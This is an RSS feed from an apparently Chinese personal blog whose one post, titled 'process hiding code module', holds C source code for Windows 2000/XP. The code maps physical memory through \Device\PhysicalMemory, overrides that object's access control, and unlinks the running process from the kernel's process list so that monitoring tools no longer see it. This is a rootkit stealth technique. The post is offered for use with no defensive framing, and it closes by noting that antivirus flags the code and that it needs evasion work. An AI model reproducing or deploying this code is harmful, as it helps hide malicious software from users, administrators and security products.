﻿<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>学习日记 &#187; ghost</title>
	<atom:link href="https://www.softwareace.cn/?cat=15&#038;feed=rss2" rel="self" type="application/rss+xml" />
	<link>https://www.softwareace.cn</link>
	<description>时刻想着为自己的产品多做一些对他好的事情</description>
	<lastBuildDate>Fri, 20 Mar 2026 06:58:28 +0000</lastBuildDate>
	<language>zh-CN</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	
	<item>
		<title>进程隐藏代码模块</title>
		<link>https://www.softwareace.cn/?p=173</link>
		<comments>https://www.softwareace.cn/?p=173#comments</comments>
		<pubDate>Sat, 16 Feb 2013 06:00:28 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[ghost]]></category>

		<guid isPermaLink="false">http://www.softwareace.cn/?p=173</guid>
		<description><![CDATA[[crayon-6a29f3b4c5636950618570/]]]></description>
				<content:encoded><![CDATA[<p></p><pre class="crayon-plain-tag">#include&amp;lt;windows.h&amp;gt;
#include&amp;lt;Accctrl.h&amp;gt;
#include&amp;lt;Aclapi.h&amp;gt;

#define NT_SUCCESS(Status)((NTSTATUS)(Status) &amp;gt;= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
BOOL HideProcess();
typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
   NTSTATUS Status;
   ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
   USHORT Length;
   USHORT MaximumLength;
   PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT           0x00000002L
#define OBJ_PERMANENT        0x00000010L
#define OBJ_EXCLUSIVE        0x00000020L
#define OBJ_CASE_INSENSITIVE   0x00000040L
#define OBJ_OPENIF           0x00000080L
#define OBJ_OPENLINK        0x00000100L
#define OBJ_KERNEL_HANDLE      0x00000200L
#define OBJ_VALID_ATTRIBUTES   0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
   ULONG Length;
   HANDLE RootDirectory;
   PUNICODE_STRING ObjectName;
   ULONG Attributes;
   PVOID SecurityDescriptor;
   PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
   OUT PHANDLE SectionHandle,
   IN ACCESS_MASK DesiredAccess,
   IN POBJECT_ATTRIBUTES ObjectAttributes
   );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
   IN OUT PUNICODE_STRING DestinationString,
   IN PCWSTR SourceString
   );

RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
OSVERSIONINFO g_osvi;
//---------------------------------------------------------------------------
BOOL InitNTDLL()
{
   g_hNtDLL = LoadLibrary(&quot;ntdll.dll&quot;);

   if (NULL == g_hNtDLL)
      return FALSE;

   RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL,

&quot;RtlInitUnicodeString&quot;);
   ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, &quot;ZwOpenSection&quot;);

   return TRUE;
}
//---------------------------------------------------------------------------
VOID CloseNTDLL()
{
   if(NULL != g_hNtDLL)
      FreeLibrary(g_hNtDLL);

   g_hNtDLL = NULL;
}
//---------------------------------------------------------------------------
HANDLE OpenPhysicalMemory()
{
   NTSTATUS status;
   UNICODE_STRING physmemString;
   OBJECT_ATTRIBUTES attributes;
   ULONG PhyDirectory;

   g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
   GetVersionEx (&amp;amp;g_osvi);

   if (5 != g_osvi.dwMajorVersion)
      return NULL;

   switch(g_osvi.dwMinorVersion)
   {
      case 0:
        PhyDirectory = 0x30000;
        break; //2k
      case 1:
        PhyDirectory = 0x39000;
        break; //xp
      default:
        return NULL;
   }

   RtlInitUnicodeString(&amp;amp;physmemString, L&quot;\Device\PhysicalMemory&quot;);

   attributes.Length              = sizeof(OBJECT_ATTRIBUTES);
   attributes.RootDirectory        = NULL;
   attributes.ObjectName           = &amp;amp;physmemString;
   attributes.Attributes           = 0;
   attributes.SecurityDescriptor      = NULL;
   attributes.SecurityQualityOfService   = NULL;

   status = ZwOpenSection(&amp;amp;g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &amp;amp;attributes);

   if(status == STATUS_ACCESS_DENIED)
   {
      status = ZwOpenSection(&amp;amp;g_hMPM, READ_CONTROL|WRITE_DAC, &amp;amp;attributes);
      SetPhyscialMemorySectionCanBeWrited(g_hMPM);
      CloseHandle(g_hMPM);
      status = ZwOpenSection(&amp;amp;g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &amp;amp;attributes);
   }

   if(!NT_SUCCESS(status))
      return NULL;

   g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory,

0x1000);

   if( g_pMapPhysicalMemory == NULL )
      return NULL;

   return g_hMPM;
}
//---------------------------------------------------------------------------
PVOID LinearToPhys(PULONG BaseAddress, PVOID addr)
{
   ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr;
   PGDE = BaseAddress[VAddr&amp;gt;&amp;gt;22];

   if (0 == (PGDE&amp;amp;1))
      return 0;

   ULONG tmp = PGDE &amp;amp; 0x00000080;

   if (0 != tmp)
   {
      PAddr = (PGDE &amp;amp; 0xFFC00000) + (VAddr &amp;amp; 0x003FFFFF);
   }
   else
   {
      PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE &amp;amp; 0xfffff000, 0x1000);
      PTE = ((PULONG)PGDE)[(VAddr&amp;amp;0x003FF000)&amp;gt;&amp;gt;12];

      if (0 == (PTE&amp;amp;1))
        return 0;

      PAddr=(PTE&amp;amp;0xFFFFF000)+(VAddr&amp;amp;0x00000FFF);
      UnmapViewOfFile((PVOID)PGDE);
   }

   return (PVOID)PAddr;
}
//---------------------------------------------------------------------------
ULONG GetData(PVOID addr)
{
   ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
   PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys &amp;amp;

0xfffff000, 0x1000);

   if (0 == tmp)
      return 0;

   ULONG ret = tmp[(phys &amp;amp; 0xFFF)&amp;gt;&amp;gt;2];
   UnmapViewOfFile(tmp);

   return ret;
}
//---------------------------------------------------------------------------
BOOL SetData(PVOID addr,ULONG data)
{
   ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
   PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys &amp;amp; 0xfffff000, 0x1000);

   if (0 == tmp)
      return FALSE;

   tmp[(phys &amp;amp; 0xFFF)&amp;gt;&amp;gt;2] = data;
   UnmapViewOfFile(tmp);

   return TRUE;
}
//---------------------------------------------------------------------------
long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
{
  ExitProcess(0);
  return 1 ;
}
//---------------------------------------------------------------------------
BOOL YHideProcess()
{
//   SetUnhandledExceptionFilter(exeception);

   if (FALSE == InitNTDLL())
      return FALSE;

   if (0 == OpenPhysicalMemory())
      return FALSE;

   ULONG thread  = GetData((PVOID)0xFFDFF124); //kteb
   ULONG process = GetData(PVOID(thread + 0x44)); //kpeb

   ULONG fw, bw;
   if (0 == g_osvi.dwMinorVersion)
   {
      fw = GetData(PVOID(process + 0xa0));
      bw = GetData(PVOID(process + 0xa4));      
   }

   if (1 == g_osvi.dwMinorVersion)
   {
      fw = GetData(PVOID(process + 0x88));
      bw = GetData(PVOID(process + 0x8c));
   }

   SetData(PVOID(fw + 4), bw);
   SetData(PVOID(bw), fw);

   CloseHandle(g_hMPM);
   CloseNTDLL();

   return TRUE;
}

BOOL HideProcess()
{
static BOOL b_hide = false;
if (!b_hide)
{
  b_hide = true;
  YHideProcess();
  return true;
}
return true;
}

ps.多数杀毒会告警，需要免杀</pre><p></p>
]]></content:encoded>
			<wfw:commentRss>https://www.softwareace.cn/?feed=rss2&#038;p=173</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
